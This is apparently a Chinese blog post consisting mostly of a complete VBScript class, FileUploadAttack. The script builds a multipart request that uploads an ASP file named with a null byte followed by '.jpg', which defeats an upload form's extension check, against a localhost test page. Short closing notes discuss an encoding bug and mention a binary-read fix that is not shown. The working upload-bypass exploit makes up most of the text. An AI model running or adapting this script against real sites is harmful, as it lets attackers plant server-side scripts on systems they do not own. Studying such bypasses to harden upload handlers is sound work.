Option Explicit
Function file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject("Scripting.FilesystemObject")
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function
' 代码修改自 http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName
Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
"WinHttp.WinHttpRequest.5.1")
End Sub
Private Sub Class_Terminate()
Set m_objWinHttp = Nothing
End Sub
Public Sub setUrl(url)
m_strUrl = url
End Sub
Public Sub setFieldName(name)
m_strFieldName = name
End Sub
'Infrormations In form field header.
Function mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'template For multipart header
MPTemplate = "Content-Dis
position: form-data; name=""{field}"";" + _
" filename=""{file}""" + vbCrLf + _
"Content-Type: {ct}" + vbCrLf + vbCrLf
Dim Out
Out = Replace(MPTemplate, "{field}", FieldName)
Out = Replace(Out, "{file}", FileName)
mpFields = Replace(Out, "{ct}", ContentType)
End Function
'Converts OLE string To multibyte string
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function
'Build multipart/form-data document with file contents And header info
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = "application/upload"
'The two parts around file contents In the multipart-form data.
Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + "--" + Boundary + "--" + vbCrLf
'Build form data using recordset binary field
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject("ADODB.Recordset")
RS.Fields.Append "b", adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Convert Pre string value To a binary data
LenData = Len(Pre)
RS("b").AppendChunk (StringToMB(Pre) & ChrB(0))
Pre = RS("b").GetChunk(LenData)
RS("b") = ""
'Convert Po string value To a binary data
LenData = Len(Po)
RS("b").AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS("b").GetChunk(LenData)
RS("b") = ""
'Join Pre + FileContents + Po binary data
RS("b").AppendChunk (Pre)
RS("b").AppendChunk (FileContents)
RS("b").AppendChunk (Po)
RS.Update
FormData = RS("b")
RS.Close
BuildFormData = FormData
End Function
Public Function sendFile(fileName)
Const Boundary = "---------------------------0123456789012"
m_objWinHttp.Open "POST", m_strUrl, False
m_objWinHttp.setRequestHeader "Content-Type", _
"multipart/form-data; boundary=" + Boundary
Dim FileContents, FormData
'Get source file As a binary data.
FileContents = file_get_contents(FileName)
' 下面构造了恶意文件扩展名Chr(0) & .jpg
'Build multipart/form-data document
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0) & ".jpg", m_strFieldName)
m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function
Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class
Function VBMain()
VBMain = 0
Dim fileUpload
Set fileUpload = New FileUploadAttack
' 需要修改下面内容为合适内容
' 上传url
fileUpload.setUrl "http://localhost/upload/uploadfile.asp"
fileUpload.setFieldName "filepath" ' 上传表单框的name
' 需上传文件路径
If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then
MsgBox "上传成功" & fileUpload.getText()
Else
MsgBox "失败"
End If
Set fileUpload = Nothing
End Function
Call WScript.Quit(VBMain())
上传功能是随便在网上找的一个简单上传ASP文件,然后加入我在文章中《ASP/VBScript中CHR(0)的由来以及带来的安全问题》所述的GetFileExtensionName判断扩展名是否是jpg。
一片空白,我这里是IIS 7,难道是IIS版本问题,或许是file_get_contents应该返回文件的二进制流?好了,这个问题先搁在这儿,还有其他事,先闪了。
根据大家反馈的上传文件变成Unicode Little Endian编码问题,首先抱歉的是当时确实偷懒了,主要代码参考的老外的,而且老外说明了一下GetFile这个函数获取文件二进制数据,没找到这个函数实现,也懒得去弄二进制读取,直接搞了个file_get_contents获取文本数据,事实证明这样确实存在问题,下面我把补救措施说明一下吧,还是偷懒一下,直接在现有的基础上将文本数据转换为二进制数据。使用ADODB.Stream组件,函数如下:
不过这里觉得啰嗦了一点,其实可以直接以二进制打开文件并返回数据,这里进行了两步:1.以文本方式读取文件;2.将文本转换为二进制数据。一步到位的代码可以参考下面一次以二进制Byte()方式读取文件数据的函数: